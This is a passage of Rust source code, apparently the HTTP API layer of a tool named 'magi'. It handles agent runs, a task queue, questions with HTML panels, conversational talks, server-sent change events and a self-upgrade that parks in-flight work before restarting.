1866 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1867) -> ApiResult<Json<LoopView>> {
1868 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1871 blocking(move || {
1872 let reading = daemon::read_status(&ui.home);
1873 let foreign = Foreign::of(reading.as_ref());
1874 if body.running {
1875 ui.start_loop(foreign)?;
1876 } else {
1877 ui.stop_loop(foreign, body.park)?;
1878 }
1879 Ok(Json(ui.loop_view(reading)))
1880 })
1881 .await
1882}
1883
1884#[derive(Debug, Serialize)]
1886struct UpgradeView {
1887 from: String,
1889 to: Option<String>,
1891 parked: Option<String>,
1893 detail: String,
1895}
1896
1897async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
1921 let reading = daemon::read_status(&ui.home);
1922 if let Some(other) = Foreign::of(reading.as_ref()) {
1923 return Err(ApiError::conflict(format!(
1924 "the loop belongs to {}, so replacing this binary would leave \
1925 that process running an old one against the same queue. Upgrade \
1926 where it was started.",
1927 other.who()
1928 )));
1929 }
1930
1931 if crate::updater::disabled_by_env() {
1937 return Ok((
1938 StatusCode::OK,
1939 Json(UpgradeView {
1940 from: env!("CARGO_PKG_VERSION").to_owned(),
1941 to: None,
1942 parked: None,
1943 detail: format!(
1944 "Automatic updates are disabled by {}. Nothing was parked \
1945 and nothing restarted.",
1946 crate::updater::NO_AUTOUPDATE_ENV
1947 ),
1948 }),
1949 ));
1950 }
1951
1952 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
1957 let from = env!("CARGO_PKG_VERSION").to_owned();
1958 let latest = match crate::updater::Checker::new(&cfg.update) {
1959 Some(checker) => checker
1960 .newer_release()
1961 .await
1962 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
1963 None => None,
1964 };
1965 let Some(latest) = latest else {
1966 return Ok((
1967 StatusCode::OK,
1968 Json(UpgradeView {
1969 from,
1970 to: None,
1971 parked: None,
1972 detail: "Already on the newest release. Nothing was parked \
1973 and nothing restarted."
1974 .to_owned(),
1975 }),
1976 ));
1977 };
1978
1979 let parked = ui.park_for_upgrade()?;
1982 let detail = match &parked {
1983 Some(run) => format!(
1988 "Run {} is parking at its next step, which can take as long as \
1989 the step it is on - up to an hour for an implement wave. The \
1990 deck replaces itself once it parks, comes back, and the loop \
1991 carries that run on from where it stopped. Nothing is lost if \
1992 you close this.",
1993 crate::run::short_of(run)
1994 ),
1995 None => "The deck replaces itself and comes back. Nothing was in \
1996 flight to park."
1997 .to_owned(),
1998 };
1999
2000 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2004 progress.parked_run = parked.clone();
2005 let _ = updater::write_progress(&ui.home, &progress);
2006
2007 let home = ui.home.clone();
2008 tokio::spawn(async move {
2009 if let Err(e) = upgrade_and_restart(home.clone()).await {
2010 tracing::error!("the upgrade did not complete: {e:#}");
2011 if let Some(mut progress) = updater::read_progress(&home) {
2012 progress.fail(format!("{e:#}"));
2013 let _ = updater::write_progress(&home, &progress);
2014 }
2015 }
2016 });
2017
2018 Ok((
2019 StatusCode::ACCEPTED,
2020 Json(UpgradeView {
2021 from,
2022 to: Some(latest.tag_name),
2023 parked,
2024 detail,
2025 }),
2026 ))
2027}
2028
2029async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2034 crate::updater::run_self_update(true, false, true).await?;
2037 tracing::info!("binary replaced - asking the server to hand over");
2038 if let Some(mut progress) = updater::read_progress(&home) {
2039 progress.advance(updater::Stage::Replaced);
2040 let _ = updater::write_progress(&home, &progress);
2041 }
2042 HANDOVER.notify_one();
2043 Ok(())
2044}
2045
2046#[derive(Debug, Serialize)]
2052struct RunSummary {
2053 id: String,
2054 short: String,
2055 status: String,
2056 done: bool,
2057 instruction: String,
2058 title: String,
2059 repo: String,
2060 repo_name: String,
2061 created_at: String,
2062 updated_at: String,
2063 candidates: usize,
2064 viable: usize,
2065 judges: usize,
2066 winner: Option<char>,
2067 reviews: usize,
2068 quota_losses: usize,
2069 event: Option<String>,
2070 superseded_by: Option<String>,
2075 waiting: bool,
2082 pr: Option<crate::run::PrRecord>,
2084 unmerged_by_design: bool,
2090}
2091
2092impl RunSummary {
2093 fn of(state: &RunState, waiting: bool) -> Self {
2094 Self {
2095 id: state.id.clone(),
2096 short: state.short().to_owned(),
2097 status: status_word(state.status),
2098 done: state.status.done(),
2099 unmerged_by_design: state.unmerged_by_design(),
2100 instruction: state.instruction.clone(),
2101 title: title_from(&state.instruction, TITLE_MAX),
2102 repo: state.repo.display().to_string(),
2103 repo_name: state
2104 .repo
2105 .file_name()
2106 .map(|n| n.to_string_lossy().into_owned())
2107 .unwrap_or_default(),
2108 created_at: state.created_at.to_string(),
2109 updated_at: state.updated_at.to_string(),
2110 candidates: state.candidates.len(),
2111 viable: state.viable().len(),
2112 judges: state.config.graph.judges,
2113 winner: state.winner().map(|c| c.label),
2114 reviews: state.reviews.len(),
2115 quota_losses: state.quota.len(),
2116 event: state.events.last().map(|e| e.message.clone()),
2117 waiting,
2118 superseded_by: None,
2121 pr: state.pr.clone(),
2122 }
2123 }
2124}
2125
2126fn status_word(status: RunStatus) -> String {
2129 status.as_str().to_owned()
2133}
2134
2135#[derive(Debug, Deserialize)]
2137struct ListQuery {
2138 #[serde(default)]
2139 limit: Option<usize>,
2140}
2141
2142async fn runs_list(
2143 State(ui): State<Arc<Ui>>,
2144 Query(q): Query<ListQuery>,
2145) -> ApiResult<Json<Vec<RunSummary>>> {
2146 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2147 blocking(move || {
2148 let superseded = superseded_runs(&ui.queue);
2149 let summaries = run_ids(&ui.runs)
2150 .into_iter()
2151 .filter_map(|id| read_run(&ui.runs, &id).ok())
2156 .take(limit)
2157 .map(|state| {
2158 let waiting = !ui.questions.open_for(&state.id).is_empty();
2159 let by = superseded.get(&state.id).cloned();
2160 let mut row = RunSummary::of(&state, waiting);
2161 row.superseded_by = by.as_deref().map(crate::run::short_of).map(str::to_owned);
2162 row
2163 })
2164 .collect();
2165 Ok(Json(summaries))
2166 })
2167 .await
2168}
2169
2170fn superseded_runs(queue: &Queue) -> HashMap<String, String> {
2183 let mut by = HashMap::new();
2184 for task in queue.list() {
2185 for pair in task.runs.windows(2) {
2186 if let [earlier, later] = pair {
2187 by.insert(earlier.clone(), later.clone());
2188 }
2189 }
2190 }
2191 by
2192}
2193
2194#[derive(Debug, Serialize)]
2201struct RunDetailView {
2202 #[serde(flatten)]
2203 state: RunState,
2204 instruction_md: Vec<md::Node>,
2205 live: bool,
2215 unmerged_by_design: bool,
2220}
2221
2222impl RunDetailView {
2223 fn of(state: RunState, live: bool) -> Self {
2224 Self {
2225 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2226 live,
2227 unmerged_by_design: state.unmerged_by_design(),
2228 state,
2229 }
2230 }
2231}
2232
2233async fn run_detail(
2234 State(ui): State<Arc<Ui>>,
2235 Path(id): Path<String>,
2236) -> ApiResult<Json<RunDetailView>> {
2237 blocking(move || {
2238 let id = resolve_run(&ui.runs, &id)?;
2239 let state = read_run(&ui.runs, &id)?;
2240 let live = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2241 Ok(Json(RunDetailView::of(state, live)))
2242 })
2243 .await
2244}
2245
2246async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2255 let (id, unreadable) = {
2256 let ui = Arc::clone(&ui);
2257 blocking(move || {
2258 let id = resolve_run(&ui.runs, &id)?;
2259 match read_run(&ui.runs, &id) {
2260 Ok(state) => {
2261 let in_flight =
2262 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2263 state
2264 .ensure_can_delete(in_flight)
2265 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2266 let dir = ui.runs.join(&id);
2267 std::fs::remove_dir_all(&dir)
2268 .with_context(|| format!("remove run directory {}", dir.display()))?;
2269 Ok((id, false))
2270 }
2271 Err(_) => {
2272 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2276 return Err(ApiError::conflict(format!(
2277 "run {id} is being worked on by a live daemon right now"
2278 )));
2279 }
2280 Ok((id, true))
2281 }
2282 }
2283 })
2284 .await?
2285 };
2286 if unreadable {
2287 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2288 .await
2289 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2290 }
2291 let ui = Arc::clone(&ui);
2292 let done = id.clone();
2293 blocking(move || {
2294 ui.questions.abandon_for_run(
2297 &done,
2298 &format!("run {done} was deleted, so nothing is waiting for this answer"),
2299 )?;
2300 Ok(())
2301 })
2302 .await?;
2303 Ok(StatusCode::NO_CONTENT)
2304}
2305
2306async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2330 let (id, state) = {
2331 let ui = Arc::clone(&ui);
2332 blocking(move || {
2333 let id = resolve_run(&ui.runs, &id)?;
2334 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2335 return Err(ApiError::conflict(format!(
2336 "run {id} is being worked on by a live daemon right now"
2337 )));
2338 }
2339 let state = read_run(&ui.runs, &id).ok();
2340 Ok((id, state))
2341 })
2342 .await?
2343 };
2344 let removed = match state {
2345 Some(mut state) => {
2346 let removed = crate::graph::fold_run(&mut state, true)
2347 .await
2348 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2349 if removed.is_empty() {
2354 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2355 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2356 }
2357 removed
2358 }
2359 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2360 .await
2361 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2362 };
2363 Ok(Json(FoldView {
2364 run: id,
2365 removed_count: removed.len(),
2366 removed,
2367 }))
2368}
2369
2370#[derive(Debug, Serialize)]
2372struct FoldView {
2373 run: String,
2374 removed: Vec<String>,
2376 removed_count: usize,
2377}
2378
2379async fn run_resume(
2399 State(ui): State<Arc<Ui>>,
2400 Path(id): Path<String>,
2401) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2402 let (id, state) = {
2403 let ui = Arc::clone(&ui);
2404 blocking(move || {
2405 let id = resolve_run(&ui.runs, &id)?;
2406 let state = read_run(&ui.runs, &id)?;
2407 Ok((id, state))
2408 })
2409 .await?
2410 };
2411 if !state.status.resumable() {
2412 return Err(ApiError::conflict(format!(
2413 "run {} is `{}`, and only a stalled or blocked run can be resumed",
2414 state.short(),
2415 status_word(state.status)
2416 )));
2417 }
2418 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2423 .into_iter()
2424 .next()
2425 {
2426 return Err(ApiError::conflict(format!(
2427 "the loop is running run {} right now; stop it first, or wait for \
2428 it to finish, before resuming a run by hand.",
2429 crate::run::short_of(&work.run)
2430 )));
2431 }
2432 let _resume = ui.begin_resume(&id)?;
2433
2434 let queued = RunSummary::of(&state, !ui.questions.open_for(&id).is_empty());
2437 let run = id.clone();
2438 tokio::spawn(async move {
2439 let _resume = _resume;
2440 match crate::graph::Runner::resume(&run) {
2441 Ok(mut runner) => {
2442 if let Err(e) = runner.execute().await {
2443 tracing::warn!("resume of run {run} stopped: {e:#}");
2444 }
2445 }
2446 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2449 }
2450 });
2451 Ok((StatusCode::ACCEPTED, Json(queued)))
2452}
2453
2454async fn run_report(
2455 State(ui): State<Arc<Ui>>,
2456 Path(id): Path<String>,
2457) -> ApiResult<impl IntoResponse> {
2458 let text = blocking(move || {
2459 let id = resolve_run(&ui.runs, &id)?;
2460 let state = read_run(&ui.runs, &id)?;
2464 let live = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2465 Ok(format!(
2466 "{}{}",
2467 report::run(&state),
2468 report::active_seats(&state, live)
2469 ))
2470 })
2471 .await?;
2472 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2473}
2474
2475#[derive(Debug, Serialize)]
2481struct TaskView {
2482 #[serde(flatten)]
2483 task: Task,
2484 source_label: String,
2485 status_str: &'static str,
2486 instruction_md: Vec<md::Node>,
2490}
2491
2492impl From<Task> for TaskView {
2493 fn from(task: Task) -> Self {
2494 Self {
2495 source_label: task.source.label(),
2496 status_str: task.status.as_str(),
2497 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2498 task,
2499 }
2500 }
2501}
2502
2503#[derive(Debug, Default, Deserialize)]
2506#[serde(default)]
2507struct ReposQuery {
2508 refresh: u8,
2509}
2510
2511async fn repos_list(
2518 State(ui): State<Arc<Ui>>,
2519 Query(q): Query<ReposQuery>,
2520) -> ApiResult<Json<Vec<repos::Repo>>> {
2521 let refresh = q.refresh != 0;
2522 blocking(move || {
2523 let (cfg, _) = Config::discover(&ui.repo, None)?;
2524 Ok(Json(ui.repos_cache.list(
2525 &cfg.repos.roots,
2526 Duration::from_secs(cfg.repos.scan_ttl),
2527 refresh,
2528 )))
2529 })
2530 .await
2531}
2532
2533async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2534 blocking(move || {
2535 Ok(Json(
2536 ui.queue.list().into_iter().map(TaskView::from).collect(),
2537 ))
2538 })
2539 .await
2540}
2541
2542#[derive(Debug, Default, Deserialize)]
2545#[serde(default, deny_unknown_fields)]
2546struct HoldBody {
2547 reason: Option<String>,
2548}
2549
2550async fn queue_hold(
2551 State(ui): State<Arc<Ui>>,
2552 Path(id): Path<String>,
2553 body: std::result::Result<Json<HoldBody>, JsonRejection>,
2554) -> ApiResult<Json<TaskView>> {
2555 let body = match body {
2559 Ok(Json(body)) => body,
2560 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
2561 Err(e) => return Err(ApiError::bad_request(e.body_text())),
2562 };
2563 let reason = body.reason.filter(|r| !r.trim().is_empty());
2564 mutate(ui, id, move |t| {
2565 t.hold_manual(reason.clone());
2566 Ok(())
2567 })
2568 .await
2569}
2570
2571async fn queue_release(
2572 State(ui): State<Arc<Ui>>,
2573 Path(id): Path<String>,
2574) -> ApiResult<Json<TaskView>> {
2575 mutate(ui, id, |t| {
2576 t.release();
2577 Ok(())
2578 })
2579 .await
2580}
2581
2582#[derive(Debug, Deserialize)]
2584#[serde(deny_unknown_fields)]
2585struct PriorityBody {
2586 priority: i32,
2587}
2588
2589async fn queue_priority(
2595 State(ui): State<Arc<Ui>>,
2596 Path(id): Path<String>,
2597 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
2598) -> ApiResult<Json<TaskView>> {
2599 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2600 mutate(ui, id, move |t| t.set_priority(body.priority)).await
2601}
2602
2603#[derive(Debug, Deserialize)]
2605#[serde(deny_unknown_fields)]
2606struct EditBody {
2607 title: String,
2608 instruction: String,
2609}
2610
2611async fn queue_edit(
2615 State(ui): State<Arc<Ui>>,
2616 Path(id): Path<String>,
2617 body: std::result::Result<Json<EditBody>, JsonRejection>,
2618) -> ApiResult<Json<TaskView>> {
2619 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2620 mutate(ui, id, move |t| {
2621 t.edit(body.title.clone(), body.instruction.clone())
2622 })
2623 .await
2624}
2625
2626async fn queue_done(
2634 State(ui): State<Arc<Ui>>,
2635 Path(id): Path<String>,
2636) -> ApiResult<Json<TaskView>> {
2637 mutate(ui, id, |t| {
2638 t.succeed();
2639 Ok(())
2640 })
2641 .await
2642}
2643
2644async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2652 blocking(move || {
2653 let id = resolve_task(&ui.queue, &id)?;
2654 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
2655 ui.queue
2656 .remove(&id, in_flight)
2657 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2658 Ok(StatusCode::NO_CONTENT)
2659 })
2660 .await
2661}
2662
2663async fn mutate(
2672 ui: Arc<Ui>,
2673 id: String,
2674 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
2675) -> ApiResult<Json<TaskView>> {
2676 blocking(move || {
2677 let id = resolve_task(&ui.queue, &id)?;
2678 let _claim = ui.queue.claim(&id).map_err(|e| {
2683 ApiError::conflict(format!(
2684 "{e:#} - a daemon is running this task, so it cannot be \
2685 changed from here yet"
2686 ))
2687 })?;
2688 let mut task = ui.queue.get(&id)?;
2689 change(&mut task).map_err(ApiError::bad_request_from)?;
2690 ui.queue.put(&mut task)?;
2691 Ok(Json(TaskView::from(task)))
2692 })
2693 .await
2694}
2695
2696async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
2704 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
2705 tokio::spawn(async move {
2706 let mut ticker = tokio::time::interval(POLL);
2707 let mut last: Option<(u64, u64, u64, u64, u64)> = None;
2708 loop {
2709 ticker.tick().await;
2712 let state = Arc::clone(&ui);
2713 let revisions = tokio::task::spawn_blocking(move || {
2714 (
2715 state.queue.revision(),
2716 runs_revision(&state.runs),
2717 state.questions.revision(),
2718 state.talks.revision(),
2719 state.lock_loop().rev,
2723 )
2724 })
2725 .await;
2726 let Ok(revisions) = revisions else { break };
2727 if last == Some(revisions) {
2728 continue;
2729 }
2730 last = Some(revisions);
2731 let payload = serde_json::json!({
2732 "queue_rev": revisions.0,
2733 "runs_rev": revisions.1,
2734 "questions_rev": revisions.2,
2735 "talks_rev": revisions.3,
2736 "loop_rev": revisions.4,
2737 });
2738 let Ok(event) = Event::default().event("change").json_data(payload) else {
2740 break;
2741 };
2742 if tx.send(event).await.is_err() {
2743 break;
2744 }
2745 }
2746 });
2747 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
2748 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
2749}
2750
2751fn runs_revision(runs: &FsPath) -> u64 {
2758 use std::hash::{Hash as _, Hasher as _};
2759
2760 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
2761 .into_iter()
2762 .flatten()
2763 .flatten()
2764 .filter_map(|e| {
2765 let path = e.path().join("run.json");
2766 let mtime = path
2767 .metadata()
2768 .ok()?
2769 .modified()
2770 .ok()?
2771 .duration_since(std::time::UNIX_EPOCH)
2772 .ok()?
2773 .as_millis() as u64;
2774 let id = e.file_name().to_string_lossy().into_owned();
2775 Some((id, mtime))
2776 })
2777 .collect();
2778
2779 if entries.is_empty() {
2780 return 0;
2781 }
2782
2783 entries.sort_unstable();
2784 let mut hasher = std::hash::DefaultHasher::new();
2785 for (id, mtime) in &entries {
2786 id.hash(&mut hasher);
2787 mtime.hash(&mut hasher);
2788 }
2789 let h = hasher.finish();
2790 if h == 0 { 1 } else { h }
2791}
2792
2793fn run_ids(runs: &FsPath) -> Vec<String> {
2799 let mut ids: Vec<String> = std::fs::read_dir(runs)
2800 .into_iter()
2801 .flatten()
2802 .flatten()
2803 .filter(|e| e.path().join("run.json").is_file())
2804 .map(|e| e.file_name().to_string_lossy().into_owned())
2805 .collect();
2806 ids.sort_unstable_by(|a, b| b.cmp(a));
2808 ids
2809}
2810
2811fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
2813 let path = runs.join(id).join("run.json");
2814 let body =
2815 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
2816 let state: RunState =
2817 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2818 if state.schema != run::SCHEMA {
2819 anyhow::bail!(
2820 "run {} was written by a different magi (schema {}, this build speaks {})",
2821 state.id,
2822 state.schema,
2823 run::SCHEMA
2824 );
2825 }
2826 Ok(state)
2827}
2828
2829#[must_use]
2837pub fn runs_unreadable(runs: &FsPath) -> usize {
2838 run_ids(runs)
2839 .into_iter()
2840 .filter(|id| read_run(runs, id).is_err())
2841 .count()
2842}
2843
2844fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
2846 if runs.join(id).join("run.json").is_file() {
2847 return Ok(id.to_owned());
2848 }
2849 pick(run_ids(runs), id, "run")
2850}
2851
2852fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
2854 if queue.path_of(id).is_file() {
2855 return Ok(id.to_owned());
2856 }
2857 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
2858}
2859
2860#[derive(Debug, Serialize)]
2871struct QuestionView {
2872 #[serde(flatten)]
2873 question: Question,
2874 detail_md: Vec<md::Node>,
2875 waiting_on_agent: bool,
2885}
2886
2887impl From<Question> for QuestionView {
2888 fn from(question: Question) -> Self {
2889 let base = md::ImageBase::QuestionPanel {
2890 id: question.id.clone(),
2891 };
2892 Self {
2893 detail_md: md::to_nodes(&question.detail, &base),
2894 waiting_on_agent: question.waiting_on_agent(),
2895 question,
2896 }
2897 }
2898}
2899
2900async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
2906 blocking(move || {
2907 Ok(Json(
2908 ui.questions
2909 .list()
2910 .into_iter()
2911 .map(QuestionView::from)
2912 .collect(),
2913 ))
2914 })
2915 .await
2916}
2917
2918#[derive(Debug, Default, Deserialize)]
2924#[serde(default, deny_unknown_fields)]
2925struct NewAnswer {
2926 choice: Option<String>,
2927 text: Option<String>,
2928}
2929
2930async fn question_answer(
2931 State(ui): State<Arc<Ui>>,
2932 Path(id): Path<String>,
2933 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
2934) -> ApiResult<Json<QuestionView>> {
2935 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2936 let answer = match (body.choice, body.text) {
2937 (Some(c), None) => Answer::Choice(c),
2938 (None, Some(t)) => Answer::Text(t),
2939 (Some(_), Some(_)) => {
2940 return Err(ApiError::bad_request(
2941 "send either `choice` or `text`, not both",
2942 ));
2943 }
2944 (None, None) => {
2945 return Err(ApiError::bad_request("send a `choice` or a `text`"));
2946 }
2947 };
2948
2949 blocking(move || {
2950 let id = resolve_question(&ui.questions, &id)?;
2951 let mut q = ui
2952 .questions
2953 .get(&id)
2954 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
2955 if !q.status.open() {
2956 return Err(ApiError::conflict(format!(
2960 "question {} is already {}",
2961 q.short(),
2962 q.status.as_str()
2963 )));
2964 }
2965 q.answer(answer).map_err(ApiError::bad_request_from)?;
2969 ui.questions.put(&mut q)?;
2970 Ok(Json(QuestionView::from(q)))
2971 })
2972 .await
2973}
2974
2975#[derive(Debug, Deserialize)]
2977#[serde(deny_unknown_fields)]
2978struct NewSay {
2979 body: String,
2980}
2981
2982async fn question_say(
2992 State(ui): State<Arc<Ui>>,
2993 Path(id): Path<String>,
2994 body: std::result::Result<Json<NewSay>, JsonRejection>,
2995) -> ApiResult<Json<QuestionView>> {
2996 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2997 blocking(move || {
2998 let id = resolve_question(&ui.questions, &id)?;
2999 let mut q = ui
3000 .questions
3001 .get(&id)
3002 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3003 if !q.status.open() {
3004 return Err(ApiError::conflict(format!(
3008 "question {} is already {}",
3009 q.short(),
3010 q.status.as_str()
3011 )));
3012 }
3013 q.say(body.body).map_err(ApiError::bad_request_from)?;
3016 ui.questions.put(&mut q)?;
3017 Ok(Json(QuestionView::from(q)))
3018 })
3019 .await
3020}
3021
3022fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
3024 if store.path_of(id).is_file() {
3025 return Ok(id.to_owned());
3026 }
3027 pick(
3028 store.list().into_iter().map(|q| q.id).collect(),
3029 id,
3030 "question",
3031 )
3032}
3033
3034async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
3049 blocking(move || {
3050 let id = resolve_question(&ui.questions, &id)?;
3051 let Some(html) = ui.questions.panel_html(&id) else {
3052 return Err(ApiError::not_found(format!("question {id} has no panel")));
3053 };
3054 Ok(panel_response(
3055 "text/html; charset=utf-8",
3056 false,
3057 html.into_bytes(),
3058 ))
3059 })
3060 .await
3061}
3062
3063async fn question_asset(
3091 State(ui): State<Arc<Ui>>,
3092 Path((id, name)): Path<(String, String)>,
3093) -> ApiResult<Response> {
3094 if !crate::ask::valid_asset_name(&name) {
3097 return Err(ApiError::bad_request(format!(
3098 "`{name}` is not a usable asset name"
3099 )));
3100 }
3101 blocking(move || {
3102 let id = resolve_question(&ui.questions, &id)?;
3103 let asset = ui
3104 .questions
3105 .panel_asset(&id, &name)
3106 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3107 let Some(bytes) = asset else {
3108 return Err(ApiError::not_found(format!(
3109 "question {id} has no asset `{name}`"
3110 )));
3111 };
3112 Ok(panel_response(
3113 asset_content_type(&name),
3114 is_svg(&name),
3115 bytes,
3116 ))
3117 })
3118 .await
3119}
3120
3121fn asset_content_type(name: &str) -> &'static str {
3134 match extension(name).as_deref() {
3135 Some("png") => "image/png",
3136 Some("jpg" | "jpeg") => "image/jpeg",
3137 Some("gif") => "image/gif",
3138 Some("webp") => "image/webp",
3139 Some("svg") => "image/svg+xml",
3140 Some("css") => "text/css; charset=utf-8",
3141 Some("txt") => "text/plain; charset=utf-8",
3142 _ => "application/octet-stream",
3143 }
3144}
3145
3146fn is_svg(name: &str) -> bool {
3149 extension(name).as_deref() == Some("svg")
3150}
3151
3152fn extension(name: &str) -> Option<String> {
3154 name.rsplit_once('.')
3155 .map(|(_, ext)| ext.to_ascii_lowercase())
3156}
3157
3158fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
3175 let mut res = (
3176 [
3177 (header::CONTENT_TYPE, content_type),
3178 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
3179 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3180 (header::REFERRER_POLICY, "no-referrer"),
3181 ],
3182 body,
3183 )
3184 .into_response();
3185 if download {
3186 res.headers_mut().insert(
3187 header::CONTENT_DISPOSITION,
3188 HeaderValue::from_static("attachment"),
3189 );
3190 }
3191 res
3192}
3193
3194#[derive(Debug, Serialize)]
3200struct TalkView {
3201 #[serde(flatten)]
3202 talk: Talk,
3203 turn_bodies_md: Vec<Vec<md::Node>>,
3204 thinking: bool,
3212}
3213
3214impl TalkView {
3215 fn new(talk: Talk, thinking: bool) -> Self {
3216 let turn_bodies_md = talk
3217 .turns
3218 .iter()
3219 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
3220 .collect();
3221 Self {
3222 turn_bodies_md,
3223 thinking,
3224 talk,
3225 }
3226 }
3227}
3228
3229#[derive(Debug, Serialize)]
3234struct TalkDetailView {
3235 #[serde(flatten)]
3236 view: TalkView,
3237 tasks: Vec<TaskView>,
3238}
3239
3240async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
3245 blocking(move || {
3246 Ok(Json(
3247 ui.talks
3248 .list()
3249 .into_iter()
3250 .map(|talk| {
3251 let thinking = ui.is_thinking(&talk.id);
3252 TalkView::new(talk, thinking)
3253 })
3254 .collect(),
3255 ))
3256 })
3257 .await
3258}
3259
3260#[derive(Debug, Default, Deserialize)]
3265#[serde(default)]
3266struct NewTalk {
3267 agent: Option<String>,
3268 repo: Option<PathBuf>,
3269}
3270
3271async fn talk_post(
3274 State(ui): State<Arc<Ui>>,
3275 body: std::result::Result<Json<NewTalk>, JsonRejection>,
3276) -> ApiResult<impl IntoResponse> {
3277 let body = match body {
3281 Ok(Json(body)) => body,
3282 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
3283 Err(e) => return Err(ApiError::bad_request(e.body_text())),
3284 };
3285 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
3286 let cfg = config_for(&repo).await?;
3287 let view = blocking(move || {
3288 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
3289 let thinking = ui.is_thinking(&talk.id);
3290 Ok(TalkView::new(talk, thinking))
3291 })
3292 .await?;
3293 Ok((StatusCode::CREATED, Json(view)))
3294}
3295
3296async fn talk_detail(
3298 State(ui): State<Arc<Ui>>,
3299 Path(id): Path<String>,
3300) -> ApiResult<Json<TalkDetailView>> {
3301 blocking(move || {
3302 let id = resolve_talk(&ui.talks, &id)?;
3303 let talk = ui.talks.get(&id)?;
3304 let thinking = ui.is_thinking(&talk.id);
3305 let tasks = talk::tasks_of(&ui.queue, &talk.id)
3306 .into_iter()
3307 .map(TaskView::from)
3308 .collect();
3309 Ok(Json(TalkDetailView {
3310 view: TalkView::new(talk, thinking),
3311 tasks,
3312 }))
3313 })
3314 .await
3315}
3316
3317#[derive(Debug, Default, Deserialize)]
3323#[serde(default, deny_unknown_fields)]
3324struct NewTalkTurn {
3325 text: String,
3326 attachments: Vec<String>,
3327}
3328
3329#[derive(Debug, Deserialize)]
3330#[serde(deny_unknown_fields)]
3331struct EditTalkPending {
3332 text: String,
3333 expected_text: String,
3334 expected_attachments: Vec<String>,
3335}
3336
3337#[derive(Debug, Deserialize)]
3338#[serde(deny_unknown_fields)]
3339struct ClearTalkPending {
3340 expected_text: String,
3341 expected_attachments: Vec<String>,
3342}
3343
3344async fn talk_say(
3356 State(ui): State<Arc<Ui>>,
3357 Path(id): Path<String>,
3358 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
3359) -> ApiResult<(StatusCode, Json<TalkView>)> {
